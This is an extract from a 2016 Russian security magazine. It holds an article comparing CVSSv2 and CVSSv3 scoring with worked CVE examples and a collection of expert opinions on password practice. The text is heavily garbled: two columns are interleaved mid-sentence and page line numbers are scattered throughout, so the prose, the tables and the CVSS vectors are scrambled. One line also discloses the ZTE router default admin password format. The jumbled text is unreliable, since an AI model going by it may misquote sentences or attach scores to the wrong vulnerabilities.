недо- Сложность эксплуатации уязвимости 75 статочно детализирована. 77 Качественная оценка сложности проведения атаки. Чем больше ус- CVE-2015-0501 — Неизвестная уязвимость в Oracle MySQL Server 79 ловий должно быть соблюдено для эксплуатации уязвимости — тем позволяет удаленным аутентифицированным пользователям нару- 81 выше сложность. шить доступность СУБД, используя неизвестный вектор, связанный 83 с ‘Server : Compiling’. CVSSv2 CVSSv3 85 87 Название метрики Значение Single не позволяет определить, требуется ли для эксплуа- тации доступ уровня привилегированного пользователя или доста- 89 Access Complexity (AC) Attack Complexity (AC) точно аутентификации стандартного пользователя. 91 93 Возможные значения метрики Рассмотрим две уязвимости, имеющие одинаковую оценку с точки 95 Low (L) Low (L) зрения CVSSv2 — 9,0 (AV:N/AC:L/Au:S/C:C/I:C/A:C). 97 Medium (M) CVE-2014-0649 — Cisco Secure Access Control System (ACS) некоррек- 99 тно выполняет авторизацию при доступе к интерфейсу Remote High (H) High (H) 101 Method Invocation (RMI), что позволяет удаленным аутентифициро- 103 ванным злоумышленникам получить административные привилегии.

// уязвимости и атаки positive research 2016

02 CVE-2014-9193 — Innominate mGuard некорректно обрабатывает Рассмотрим две уязвимости, имеющие одинаковую оценку CVSSv2: 04 настройки Point-to-Point Protocol (PPP), что позволяет удаленным зло- 10,0 (AV:N/AC:L/Au:N/C:C/I:C/A:C). 06 умышленникам, имеющим ограниченные административные права, CVE-2014-0568 — Уязвимость в обработчике системного вызова 08 получить привилегии суперпользователя. 10 NtSetInformationFile в Adobe Reader и Adobe Acrobat на операционной Метрики для тех же уязвимостей по CVSSv3: системе Windows позволяет атакующему обойти ограничения 12 «песочницы» и выполнить произвольный код в привилегированном 14 Оценка Уязвимость Вектор CVSSv3 контексте. 16 CVSSv3 18 CVE-2015-3048 — Уязвимость в Adobe Reader и Adobe Acrobat на CVE-2014-0649 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 8,8 20 операционных системах Windows и MacOS X позволяет атакующе- 22 CVE-2014-9193 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 7,2 му вызвать переполнение буфера и выполнить произвольный код на системе. 24 26 Как видно из таблицы, CVSSv3 занижает опасность уязвимостей, тре- Оценка 28 бующих для эксплуатации привилегированного доступа. Уязвимость Вектор CVSSv3 CVSSv3 30 32 Необходимость взаимодействия с пользователем CVE-2014-0568 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 9,6 34 Требуются ли для успешной реализации атаки какие-либо действия CVE-2015-3048 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 8,8 36 со стороны пользователя атакуемой системы. 38 В новом стандарте уязвимости, в которых уязвимый и атакуемый ком- 40 CVSSv2 CVSSv3 поненты различаются, получают более высокую оценку опасности. 42 Название метрики 44 User Interaction (UI) Метрики воздействия 46 Оценка степени влияния на конфиденциальность, целостность и до- 48 Возможные значения метрики ступность атакуемого компонента. 50 None (N) Required (R) CVSSv2 CVSSv3 Название метрики В CVSSv2 этот фактор учитывался в рамках метрики Access Complexity, в новом стандарте представлен в виде самостоятельной. Confidentiality Impact (C), Integrity Impact (I), Availability Impact (A)

Рассмотрим две уязвимости, имеющие одинаковую оценку с точки Возможные значения метрики зрения CVSSv2 — 9,3 (AV:N/AC:M/Au:N/C:C/I:C/A:C). None (N) None (N) 76 CVE-2014-0329 — Маршрутизаторы ZTE ZXV10 W300 имеют встро- енную учетную запись администратора с фиксированным паролем Partial (P) формата ‘XXXXairocon', где XXXX — последние четыре символа MAC- Complete (C) адреса устройства. Удаленный атакующий может получить пароль администратора и использовать его для доступа к устройству че- Medium (M) рез сервис Telnet. High (H) CVE-2015-1752 — Microsoft Internet Explorer некорректно обрабаты- вает объекты в памяти, что позволяет атакующему выполнить В данной метрике принципиально изменен подход к расчету произвольный код на системе при переходе пользователя по ссылке, 52 веса: от количественного (Partial—Complete) к качественному содержащей вредоносный код. 54 (Medium—High). 56 Метрики для CVSSv3: Рассмотрим две уязвимости, имеющие одинаковую оценку CVSSv2 — 58 5,0 (AV:N/AC:L/Au:N/C:P/I:N/A:N). Оценка 60 Уязвимость Вектор CVSSv3 CVSSv3 62 CVE-2014-0160 — Уязвимость существует в реализации TLS и DTLS 64 CVE-2014-0329 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 9,8 для OpenSSL из-за некорректной обработки пакетов расширения Heartbeat. Эксплуатация данной уязвимости позволяет злоумыш- 66 CVE-2015-1752 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 8,8 ленникам, действующим удаленно, получить доступ к конфиденци- 68 альной информации из памяти процесса при помощи специально Из этого примера видно, что в CVSSv3 степень опасности уязвимости 70 сформированных пакетов, которые вызывают чтение за пределами оценивается более корректно. 72 буфера. 74 76 Границы эксплуатации CVE-2015-4202 — Реализация Cable Modem Termination Systems (CMTS) в маршрутизаторах Cisco uBR10000 не дает возможность 78 Отличаются ли эксплуатируемый и атакуемый компоненты, то есть ограничить доступ к сервису IP Detail Record (IPDR), что позволяет уда- 80 позволяет ли эксплуатация уязвимости нарушить конфиденциаль- ленному атакующему получить доступ к конфиденциальной инфор- ность, целостность и доступность какого-либо другого компонента 82 мации путем отсылки специально сформированных IPDR-пакетов. 84 системы. 86 Оценка CVSSv2 CVSSv3 Уязвимость Вектор CVSSv3 88 CVSSv3 90 Название метрики CVE-2014-0160 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 7,5 92 Scope (S) 94 Возможные значения метрики CVE-2015-4202 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5,3 96 98 Unchanged (U) Как видно из примера, качественный подход позволяет более точно 100 Changed (C) оценить опасность уязвимости. 102 03 Временные метрики + Reasonable — существуют отчеты об уязвимости, позволяющие 05 судить о причинах уязвимости с достаточной степенью уверен- Временные метрики не претерпели никаких принципиальных ности (например, в отчете приводится эксплуатирующий код); 07 изменений. + Confirmed — уязвимость подтверждена производителем про- 09 дукта или в свободном доступе находится полнофункциональ- 11 Степень зрелости доступных средств эксплуатации ный эксплойт. 13 Доступен ли публично код или другие средства, с помощью которых 15 можно провести атаку, или, напротив, существует только теоретиче- Степень влияния временных метрик 17 ская возможность эксплуатации. Рассмотрим уязвимость: 19 21 CVSSv2 CVSSv3 CVE-2015-2373 — Уязвимость в сервисе Remote Desktop Protocol (RDP) 23 операционной системы Windows позволяет удаленному атакующему Название метрики 25 выполнить произвольный код на системе путем отправки специаль- 27 Exploitability (E) Exploit Code Maturity (E) но сформированных RDP-пакетов. 29 Возможные значения метрики Версия Базовая Итоговая 31 CVSS-вектор Not Defined (ND/X) стандарта оценка оценка 33 High (H) AV:N/AC:L/Au:N/C:C/ 35 CVSSv2 10,0 7,4 37 Functional (F) I:C/A:C/E:U/RL:OF/RC:C 39 AV:N/AC:L/PR:N/UI:N/S:U/ Proof-of-Concept (POC/P) CVSSv3 9,8 8,5 C:H/I:H/A:H/E:U/RL:O/RC:C 41 Unproven (U) 43 Как видно, формула расчета в новом стандарте переработана в поль- 45 зу снижения общего влияния временных метрик на итоговую число- В этой метрике изменилось только название: теперь оно точнее от- 47 вую оценку. ражает назначение. 49 51 Контекстные метрики Доступные средства устранения уязвимости Контекстные метрики изменены для упрощения оценки влияния сре- Существуют ли официальные или неофициальные средства устране- ды на итоговую оценку. ния уязвимости. Требования к безопасности CVSSv2 CVSSv3 Название метрики Позволяет задекларировать, какая характеристика данных атакуемо- го компонента (конфиденциальность, целостность или доступность) Remediation Level (RL) наиболее влияет на функциональность бизнес-системы или в целом 77 Возможные значения метрики на бизнес-процессы.

Not Defined (ND/X) CVSSv2 CVSSv3 Unavailable (U) Название метрики Workaround (W) Confidentiality Requirement (CR), Integrity Requirement (IR), Temporary Fix (TF/T) Availability Requirement (AR) Official Fix (OF/O) Возможные значения метрики Not Defined (ND/X) 53 В данную метрику изменения не вносились. 55 High (H) 57 Степень доверия к информации об уязвимости Medium (M) 59 Степень детализации доступных отчетов об уязвимости. Low (L) 61 63 CVSSv2 CVSSv3 В данную метрику изменения не вносились. 65 67 Название метрики Скорректированные базовые метрики 69 Report Confidence (RC) Эксплуатируемость и потенциальный ущерб в условиях IТ- 71 Возможные значения метрики инфраструктуры конкретной компании. 73 Not Defined (ND) Not Defined (X) 75 CVSSv3 77 Unconfirmed (UC) 79 Название метрики Uncorroborated (UR) 81 Unknown (U) Modified Attack Vector (MAV), 83 Modified Attack Complexity (MAC), 85 Reasonable (R) Modified Privileges Required (MPR), 87 Confirmed (C) Confirmed (C) Modified User Interaction (MUI), Modified Scope (MS), 89 Modified Confidentiality (MC), Modified Integrity (MI), 91 Modified Availability (MA) В новом стандарте более четко описаны критерии для отнесения от- 93 чета об уязвимости к той или иной категории: Возможные значения метрики 95 + Unknown — в существующих отчетах отсутствует описание 97 Значения, описанные в секции «Базовые метрики», причины уязвимости или различные исследователи расходятся 99 или Not Defined (X) относительно причин и возможных последствий эксплуатации; 101 103

// уязвимости и атаки positive research 2016

02 Эта метрика может как повысить итоговую оценку, например если 04 Количественная оценка Качественная оценка используется потенциально слабая конфигурация приложения, так 06 и понизить, если внедрены как-либо компенсирующие средства, по- 0 None 08 зволяющие снизить риск эксплуатации или потенциальный ущерб от 10 успешной атаки. 0,1–3,9 Low 12 4,0–6,9 Medium 14 Упраздненные метрики 7,0 –8,9 High 16 Из стандарта исключены следующие метрики: 18 9,0–10,0 Critical 20 Вероятность нанесения побочного ущерба (Collateral Damage 22 Potential, CDP) — оценка по качественной шкале None/Low/Medium/ High потенциального ущерба для оборудования или иных активов от 24 Перечень наиболее важных изменений эксплуатации уязвимости. Эта метрика также могла учитывать эко- 26 Коротко подведем итоги и перечислим самые важные новшества номический ущерб от простоя производства или недополученной 28 CVSSv3: выручки. 30 + Введены понятия «уязвимый компонент» и «атакуемый компо- Плотность целей (Target Distribution, TD) — процент систем в ин- 32 нент». Метрики эксплуатируемости рассчитываются для уязви- формационной среде компании, на которые может влиять эксплуа- 34 мого компонента, а метрики воздействия — для атакуемого. тация уязвимости. 36 + Добавлена новая ступень требуемого для эксплуатации досту- 38 Иные нововведения в стандарте па — «физический доступ». 40 42 Цепочки уязвимостей + Введена новая метрика «Необходимость взаимодействия с поль- зователем». 44 Стандарт CVSS изначально разрабатывался для независимой оценки 46 каждой уязвимости, однако существует ряд случаев, в которых мож- + Переработана метрика, учитывающая необходимость аутенти- 48 но, эксплуатируя несколько уязвимостей последовательно, нанести фикации. Появилась возможность учесть необходимость приви- 50 значительно больший урон. легированного доступа к системе. Новый стандарт рекомендует использовать метрики CVSS и для опи- + Из количественной в качественную переработана шкала метрик сания цепочек уязвимостей, комбинируя характеристики эксплуати- воздействия. руемости одной уязвимости с метриками воздействия другой. + Контекстные метрики «Вероятность нанесения побочного Рассмотрим абстрактный пример. ущерба» и «Плотность целей» заменены более показательными «Скорректированными базовыми метриками». Уязвимость 1 — Локальное повышение привилегий, не требующее взаимодействия с пользователем. + Даны рекомендации для оценки цепочек уязвимостей по мето- дике CVSS. 78 Уязвимость 2 — Уязвимость, позволяющая удаленному неаутен- тифицированному атакующему модифицировать файлы уязвимого + Стандартизована качественная шкала оценки опасности. компонента. Уязвимость требует от пользователя выполнения ка- Подход к оценке, предложенный в новом стандарте, позволяет бо- ких-либо действий для успешной эксплуатации, например перехода лее точно учесть большинство факторов, влияющих на опасность по ссылке. уязвимостей, поэтому вполне можно ожидать скорого внедрения данного стандарта в компаниях, работа которых связана с анализом Оценка Уязвимость Вектор CVSSv3 уязвимостей. CVSSv3 Уязвимость 1 AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 8,4 Введение новых метрик практически не повлияло на освоение про- 52 цесса оценки. В каких-то моментах стало проще (сложность атаки, не- 54 Уязвимость 2 AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 4,3 обходимость взаимодействия с пользователем), в каких-то сложнее 56 (качественная оценка влияния на конфиденциальность, целостность В случае если при эксплуатации уязвимости 2 возможно модифици- и доступность, границы эксплуатации). 58 ровать файлы приложения так, чтобы это могло привести к эксплуа- 60 тацию уязвимости 1, — можно говорить о наличии цепочки уязвимо- Тем, кто хочет глубже освоить методику оценки уязвимостей по CVSS, 62 стей со следующими характеристиками. рекомендую помимо спецификации [1] ознакомится с примерами 64 расчетов [3] и рекомендациями FIRST [2], где на типовых примерах 66 Оценка разъясняется, как правильно использовать стандарт для оценки Уязвимость Вектор CVSSv3 68 CVSSv3 уязвимостей. 70 Уязвимость 2  AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 8,8 Ряд зарубежных компаний, среди которых IBM X-Force и Security 72 Уязвимость 1 Database, уже внедрили оценки по CVSSv3 в своих продуктах и серви- 74 сах. Мы в компании Positive Technologies закладываем возможность Как видно из примера, итоговая оценка для цепочки может быть 76 оценки уязвимостей по стандарту CVSSv3 в корпоративной базе зна- выше, чем уровень опасности каждой отдельной уязвимости. 78 ний и линейке продуктов MaxPatrol. 80 Качественная шкала оценки опасности 82 Бонус: CVSS-метрики для именованных 84 За годы использования CVSSv2 в разных компаниях сложились раз- уязвимостей 86 ные подходы к выставлению качественного уровня опасности на базе метрики CVSS: Начиная с уязвимости в OpenSSL, получившей запоминающееся на- 88 звание Heartbleed и красивый логотип с кровоточащим сердцем, в 90 + Nvd.nist.gov: 0–3,9 Low; 4,0–6,9 Medium; 7,0–10,0 High; сообществе специалистов по информационной безопасности стало 92 + Tenable: 0–3,9 Low; 4,0–6,9 Medium; 7,0–9,9 High; 10,0 Critical; модно придумывать для уязвимостей звучные имена, особенно это + Rapid 7: 0–3,9 Moderate; 4,0–7,9 Severe; 8,0–10,0 Critical. 94 касается уязвимостей, связанных с SSL/TLS. Проанализируем, на- 96 Стандарт CVSSv3 рекомендует использовать следующую шкалу каче- сколько в действительности опасны эти поименованные уязвимости. 98 ственных оценок: Уязвимость ‘Heartbleed’ в OpenSSL (CVE-2014-0160) — Уязвимость 100 существует в реализации TLS и DTLS для OpenSSL из-за некорректной 102 03 обработки пакетов расширения Heartbeat. Эксплуатация данной уяз- атаку на понижение стойкости шифра SSL/TLS-соединения (с RSA до 05 вимости позволяет злоумышленникам, действующим удаленно, по- RSA_EXPORT). Успешная реализация атаки позволяет злоумышленни- лучить доступ к конфиденциальной информации из памяти процесса ку расшифровать данные соединения. 07 при помощи специально сформированных пакетов, которые вызыва- 09 ют чтение за пределами буфера. Версия Базовая Итоговая 11 CVSS-вектор стандарта оценка оценка 13 Версия Базовая Итоговая AV:N/AC:M/Au:N/C:N/I:P/A:N/ 15 CVSS-вектор CVSSv2 4,3 3,2 стандарта оценка оценка E:U/RL:OF/RC:C 17 AV:N/AC:L/Au:N/C:P/I:N/A:N/ AV:N/AC:H/PR:N/UI:N/S:U/ 19 CVSSv2 5,0 4,1 CVSSv3 3,7 3,2 E:F/RL:OF/RC:C C:N/I:L/A:N/E:U/RL:O/RC:C 21 AV:N/AC:L/PR:N/UI:N/S:U/ 23 CVSSv3 7,5 7,0 C:H/I:N/A:N/E:F/RL:O/RC:C Уязвимость ‘GHOST’ в glibc (CVE-2015-0235) — Переполнение бу- 25 фера в динамической памяти в функции __nss_hostname_digits_dots 27 Уязвимость Mozilla ‘BERserk’ в Mozilla NSS (CVE-2014-1568) — в glibc позволяет атакующему выполнить произвольный код, вызвав 29 Уязвимость в функции разбора формата ASN.1 SSL-сертификата в функцию gethostbyname или gethostbyname2. 31 библиотеке Mozilla Network Security Services (NSS) позволяет злоумыш- 33 ленникам подменить RSA-подпись в сертификате и получить неав- Версия Базовая Итоговая CVSS-вектор 35 торизованный доступ к конфиденциальным данным. стандарта оценка оценка 37 AV:N/AC:H/Au:N/C:C/I:C/A:C/ Версия Базовая Итоговая CVSSv2 7,6 6,3 39 CVSS-вектор E:F/RL:OF/RC:C стандарта оценка оценка 41 AV:N/AC:H/PR:N/UI:N/S:U/ 43 AV:N/AC:M/Au:N/C:C/I:C/A:N/ CVSSv3 8,1 7,5 CVSSv2 8,8 6,5 C:H/I:H/A:H/E:F/RL:O/RC:C 45 E:U/RL:OF/RC:C 47 AV:N/AC:H/PR:N/UI:N/S:U/ Уязвимость ‘Venom’ в системах виртуализации (CVE-2015- CVSSv3 7,4 6,4 49 C:H/I:H/A:N/E:U/RL:O/RC:C 3456) — Уязвимость в эмуляторе дисковода в QEMU, который исполь- 51 зуется в различных системах виртуализации, позволяет атакующе- Уязвимость ‘POODLE’ в протоколе SSLv3 (CVE-2014-3566) — му выйти за пределы гостевой виртуальной машины и выполнить Уязвимость протокола SSLv3 в реализации CBC-шифрования в OpenSSL код в контексте host-машины. и ряде других продуктов позволяет злоумышленнику, проводящему Версия Базовая Итоговая атаку «Человек посередине», получить незашифрованные данные, ис- CVSS-вектор пользуя атаку padding oracle. В дальнейшем уязвимость также была стандарта оценка оценка найдена в ряде реализаций TLS (CVE-2014-8730). AV:A/AC:L/Au:S/C:C/I:C/A:C/ CVSSv2 7,7 6,0 E:POC/RL:OF/RC:C Версия Базовая Итоговая CVSS-вектор AV:A/AC:L/PR:L/UI:N/S:C/C:H/ стандарта оценка оценка CVSSv3 9,0 8,1 79 I:H/A:H/E:P/RL:O/RC:C AV:N/AC:M/Au:N/C:P/I:N/A:N CVSSv2 4,3 3,5 /E:U/RL:W/RC:C Уязвимость ‘Logjam’ в протоколе TLS (CVE-2015-4000) — AV:N/AC:H/PR:N/UI:R/S:U/C:L/ Уязвимость в протоколе TLS позволяет атакующему провести CVSSv3 3,1 2,8 I:N/A:N/E:U/RL:W/RC:C атаку на понижение стойкости шифра TLS-соединения (с DHE до DHE_EXPORT). Успешная реализация атаки позволяет злоумышленни- Уязвимость ‘Sandworm’ Windows OLE (CVE-2014-4114) — Уязвимость в ку расшифровать данные соединения. OLE позволяет атакующему выполнить произволь- Версия Базовая Итоговая 53 ный код на системе при условии открытия пользователем файла, CVSS-вектор содержащего специально сформированный OLE-объект. стандарта оценка оценка 55 AV:N/AC:M/Au:N/C:P/I:N/A:N/ 57 Версия Базовая Итоговая CVSSv2 4,3 3,2 CVSS-вектор E:U/RL:OF/RC:C 59 стандарта оценка оценка AV:N/AC:H/PR:N/UI:N/S:U/ 61 AV:N/AC:M/Au:N/C:C/I:C/A:C/ CVSSv3 3,7 3,2 CVSSv2 9,3 7,7 C:L/I:N/A:N/E:U/RL:O/RC:C 63 E:F/RL:OF/RC:C 65 AV:L/AC:L/PR:N/UI:R/S:U/C:H/ Как видно, далеко не все уязвимости из числа именованных имеют 67 CVSSv3 7,3 7,2 I:H/A:H/E:U/RL:O/RC:C высокий уровень опасности. 69 71 Уязвимость 'Shellshock' в (CVE-2014-6271, CVE-2014-7169) — Список интернет-ресурсов 73 Уязвимость в GNU Bash вызвана некорректной обработкой стро- 75 ки, идущей после определения функции в переменной окружения. 1. Спецификация CVSSv3: 77 Эксплуатация уязвимости возможна через разные вектора атаки: first.org/cvss/specification-document 79 DHCP, HTTP, SIP, FTP, SMTP — и позволяет злоумышленнику выполнить 2. Рекомендации по использованию CVSSv3: 81 произвольный bash-код на целевой системе. first.org/cvss/user-guide 3. Примеры расчета метрик по методике CVSSv3: 83 Версия Базовая Итоговая first.org/cvss/examples 85 CVSS-вектор стандарта оценка оценка 4. Калькулятор CVSSv3: first.org/cvss/calculator/3.0 87 AV:N/AC:L/Au:N/C:C/I:C/A:C/ 5. База уязвимостей National Vulnerability Database: 89 CVSSv2 10,0 8,3 E:F/RL:OF/RC:C nvd.nist.gov/home.cfm 91 6. Спецификация CVSSv2: first.org/cvss/v2/guide 93 AV:N/AC:L/PR:N/UI:N/S:U/ CVSSv3 9,8 9,1 7. CVSS Implementation Guide от NIST: C:H/I:H/A:H/E:F/RL:O/RC:C 95 nvlpubs.nist.gov/nistpubs/ir/2014/NIST.IR.7946.pdf 97 8. Рекомендации ITU по использованию CVSS: Уязвимость ‘FREAK’ в OpenSSL (CVE-2015-0204) — Уязвимость 99 itu.int/rec/T-REC-X.1521-201104-I/en в функции ssl3_get_key_exchange в OpenSSL позволяет провести 101 103

// уязвимости и атаки positive research 2016

02 04 Работа с паролями: 06 08 10 как защитить свои учетные записи 12 14 16 (мнения специалистов) 18 20 22 24 Александр Лашков 26 habrahabr.ru/company/pt/blog/263101/ 28 30 32 34 36 38 40 Недавно стало известно об уязвимости в системе для корпоратив- Мы решили опросить представителей IТ-компаний, чтобы узнать, как 42 ных клиентов такси-сервиса Gett. Как выяснили исследователи, по они работают с паролями и каким рекомендациям следуют. умолчанию всем выдавался одинаковый пароль (естественно, эти 44 Алексей Шевелев, менеджер проектов компании «Темати­ пароли никто потом не меняет). В итоге, зная один пароль, злоумыш- 46 ческие медиа» ленники могли попасть в множество аккаунтов сразу (среди клиен- 48 тов — Google, «Вконтакте», Ozon). Сейчас использую программу для хранения паролей 1Password — 50 нравится, что есть клиент для смартфона, планшета и ноутбука. Удобно и красиво, вроде даже безопасно. Внутри все аккуратно раз- ложено и заполнено, иногда меняю пароли на всех записях — дело муторное, но того стоит. Чаще всего использую генератор паролей, который генерирует длинные сложные пароли. Собственно, давно отказался от легких паролей. На айфоне до недавнего времени работал TouchID, который пере- стал работать после замены кнопки — пришлось перейти на обыч- 80 ный пароль. Там можно использовать простой 4-значный код из цифр или более сложный (с буквами). Если же включить сложный пароль и использовать в коде только цифры, например 137900 (6 цифр), то вместо qwerty-клавиатуры будет все равно цифровая — это и удоб- но и более безопасно (6 цифр сложнее подобрать чем 4). Впрочем, в новой версии iOS можно, вроде, использовать более длинные коды. Аркадий Прокудин, эксперт по информационной безопас- Скандалы, связанные с кражей паролей и похищением личных ности, автор и ведущий подкаста «Открытая безопасность» данных, случаются регулярно — только за прошедшие пару лет в 52 Для создания паролей я использую два метода и никаких про- сеть утекали пароли пользователей крупных компаний (например, 54 граммных продуктов. Первый это старая школа: malen'kaya Adobe), популярных почтовых сервисов, хакеры взламывали (какая 56 latinica+BOL'WAYA+спецсимволы@&)+цифры135 ирония!) даже сервисы для хранения паролей. 58 Такой пароль сложно запомнить, но если найти в быту какую-нибудь Чтобы повысить уровень защищенности своих пользователей, мно- 60 замысловатую комбинацию, будет проще: MicrosoftSilverlightBeta3.5a, гие компании публикуют советы о том, как обезопасить свои учетные 62 Nokia3310 и т. п. 64 записи. Создатели популярных комиксов XKCD посвятили один из выпусков вопросам парольной защиты. Второй метод: использовать в качестве пароля строку стихотворе- 66 ния в английской раскладке. Например, «В траве сидел кузнечик» — 68 «D nhfdt cbltk repytxbr». 70 72 Григорий Матвиевич, ведущий iOS-разработчик Redmadrobot 74 Сколько об этом ни говорят, но большинство людей использует со- 76 всем слабые пароли: qwerty, 12345, 11111. Часть людей усложняют па- 78 роли — составляют их из двух слов, добавляют цифры. Но на самом 80 деле это не добавляет стойкости: все такие пароли довольно быстро 82 перебираются на современных вычислительных мощностях. Есть 84 программы и алгоритмы, есть словари. Сильный пароль должен быть 86 длинным, «случайным», содержать в себе буквы разного регистра, цифры и, желательно, спецсимволы. 88 90 Для сложного пароля я обычно придумываю какую-нибудь бессмыс- 92 ленную фразу или стишок: «рыба трактор 33, йогурт и насос», и вы- 94 дираю из каждого слова по букве. Потом запоминаю на каких-либо 96 ассоциациях — и пароль готов. Еще я посоветовал бы использовать 98 разные пароли, потому что если вы регистрируетесь в каком-нибудь интернет-магазине с тем же паролем, что и в вашем интернет-банке, 100 то это может плохо кончиться. 102 Андрей Прозоров, руководитель экспертного направления вариант — использовать парольную фразу длиной 20–30 символов. 03 в компании Solar Security Если password keeper поддерживает двухфакторную аутентификацию 05 с помощью смарт-карты или USB Security Token, это повышает уровень В последние несколько лет мне стало лень запоминать пароли: разных 07 безопасности и сужает спектр возможностей для атакующего. сервисов, на которых я зарегистрировался, становится все больше и 09 больше. Пароли лучше выбирать стойкие (длинные, с цифрами и сим- Разумеется, использование password keepers может привести к поте- 11 волами) и уникальные; при этом классические идеи типа «используете ре секретности всех сохраненных паролей в случае компрометации 13 ассоциативные парольные фразы» уже не работают. Я решил исполь- мастер-пароля. Этот риск обязательно надо учитывать. Сейчас мно- 15 зовать специальное ПО для хранения и генерации паролей. Выбрал гие программы для хранения паролей имеют версии для мобильных 17 клиент 1Password для iPhone, периодически делаю резервную копию. ОС и предлагают синхронизацию через облако. Это, безусловно, 19 удобно, но удобство часто противоречит безопасности... Можно хранить сложные и уникальные пароли, общая база зашифро- 21 вана. Мне удобно, а риски такого хранения я считаю минимальными. Мой выбор — KeePass на доверенных компьютерах, база защищена 23 длинной парольной фразой. И никаких хранилищ в облаках или на 25 Дмитрий Евтеев, технический директор компании HeadLight мобильниках! 27 Security 29 Джеспер Йоханссон, главный инженер по ИБ в Amazon Практика показывает, что большинство пользователей не слишком 31 изобретательны. Как правило, пароли содержат имена, даты и иную В некоторых компаниях есть политика безопасности, запрещающая со- 33 близкую человеку информацию из его реальной жизни. Запомнить трудникам записывать пароли на бумажки. Я считаю, это абсолютно не- 35 много паролей трудно, большинство пользователей используют два- правильно (это заявление Йоханссон сделал еще будучи сотрудником 37 три пароля для всех своих аккаунтов. В корпоративных системах, где Microsoft — примеч. редакции). Все должно быть наоборот — в полити- 39 политика безопасности требует регулярной смены пароля, также ке должно быть сказано, что вы должны записывать свой пароль. У меня 41 распространена ситуация, при которой люди либо записывают слож- 68 разных паролей для разных систем. Если мне нельзя будет ничего из ные пароли на бумажке и хранят ее поближе к клавиатуре, либо ис- этого записать, угадайте, что я сделаю? Да, я просто буду использовать 43 пользуют какую-то простую логику при создании пароля. Например, везде один и тот же пароль. В то же время, если записать пароли на бу- 45 добавляют к некоему корню цифры, указывающие на дату смены па- мажку (а ее спрятать в надежное место), то никаких проблем! 47 роля, или вообще используют счетчик (увеличивая в пароле цифры). 49 Брюс Шнайер, ученый-криптограф, автор книг по информа- В подобных случаях атакующий может, зная предыдущий пароль, 51 ционной безопасности легко определить логику его создания, — и каждый раз угадывать новый. И у частных пользователей, и у корпоративных все пароли Обычно пароль состоит из корня и суффикса. Корень может не обяза- обычно привязаны к одному email-аккаунту, взломав который хакер тельно быть словарным словом, но чаще всего, это что-то, что можно может получить доступ ко всем остальным системам и сервисам; произнести, к чему добавляются разные суффиксы (в 90% случаев) само по себе наличие подобной чувствительной системы является или префиксы (в 10% случаев). Программы для подбора паролей отдельной проблемой информационной безопасности. используют словари (английского и других языков), заменяют буквы похожими на них символами ($ вместо s и т. п.). Для подбора паролей В целом пароли — это плохо. Я сам каждый день сталкиваюсь с не- может также использоваться информация из адресной книги, важ- обходимостью помнить множество паролей от множества систем. В ные даты и другие персональные данные. 81 этом плане одноразовые пароли, отправляемые, скажем, по SMS, — это крайне удобно. Здесь тоже существуют свои подводные камни Чтобы создать сильный пароль, нужно сделать что-то, что затруднит (SMS можно перехватить), но сама концепция одноразовых паролей этот процесс подбора. Я предлагаю использовать предложения, ко- позволяет значительно усложнить реализацию атаки. К сожалению, торые превращаются в пароль. Например, «This little piggy went to пока не существует возможности привязать какой-то токен к гло- market» («маленькая хрюшка пошла на рынок») можно сделать что-то бальной системе аутентификации, чтобы затем уже получать однора- типа «tlpWENT2m». Пароль из девяти символов, которого не будет ни зовые пароли и прозрачно проходить авторизацию в большинстве в каком словаре. После того как я об этом сказал, конкретно этот па- интернет-сервисов (хотя Большой Брат движется в этом направле- роль использовать, конечно, не надо, — но суть ясна. нии). В корпоративной среде подобная система могла бы быть реа- Если вы не можете запомнить все свои пароли, то запишите их на бу- 53 лизована относительно легко, но стоить она будет недешево. мажке и носите в кошельке. Но писать надо не сам пароль, а исходное 55 Что касается программ для хранения паролей, то их вполне можно предложение, а еще лучше — какую-то подсказку, которая поможет его 57 применять, и я сам использую одну бесплатную программу (не скажу вспомнить. Или можно использовать какой-нибудь password keeper: ни- 59 какую) — иначе запомнить все свои пароли я бы просто не смог. При чего страшного в этом нет, многие не могут запомнить все свои пароли. 61 этом я не доверяю облачному софту для хранения паролей: при всем Брайан Кребс, ИБ-исследователь, автор блога Krebs on Security 63 удобстве, там вполне могут быть допущены ошибки (что уже доказа- 65 но несколькими успешными атаками на популярные сервисы). Есть несколько советов по созданию сильных паролей, и я советую всем 67 проверить свои пароли на соответствие им. Пароль должен состоять из Макс Крайнов, CEO Aviasales 69 комбинации чисел, спецсимволов и букв в верхнем и нижнем регистре. У нас все просто: Roboform, OnePass или аналогичные системы. 71 В качестве пароля нельзя использовать свое же имя пользователя Пароли, содержащие меньше 16 символов и без кучи кракозябр, 73 или легко угадываемые слова (типа «password»), очевидные комби- вообще не рассматриваются. Когда передаем пароли в чатах, сразу 75 нации клавиш («azdzxs»). Также не стоит выбирать пароль на основе после подтверждения их стираем. Что касается доступа к данным, 77 данных, которые на самом деле не так конфиденциальны, как нам то у нас применяется политика need to know basis (доступ к данным, 79 иногда кажется (номер телефона, дата рождения, имена членов се- необходимым для работы, и не более — примеч. редакции); если че- 81 мьи). Нельзя использовать пароль от электронной почты — где-то ловек увольняется — меняем пароли. еще. Если кто-то взломает интернет-магазин, где вы делали покупки, 83 Дмитрий Скляров, старший аналитик Positive Technologies он сможет прочесть и ваши письма. 85 87 Чтобы пароль оставался только вашим секретом, обычно достаточно Раньше я считал, что хранить пароли в записанном где-то виде не 89 следовать трем простым правилам: стоит. Однако теперь я все же согласен с Брюсом Шнайером, что мож- 91 но хранить пароли в записанном виде, — главное, чтобы это был не + не пытаться придумать короткие, легко запоминающиеся пароли; 93 сам пароль, а нечто, что поможет его вспомнить. + не использовать одинаковые пароли на разных ресурсах; 95 + не вводить пароли на компьютерах, которым нельзя доверять. Есть несколько хороших облачных менеджеров паролей (LastPass, 97 DashLane, 1Password), но если вы не хотите доверять такие данные об- Чтобы не запоминать много длинных сложных паролей, можно ис- 99 лаку, то можно воспользоваться локальным менеджером (Roboform, пользовать 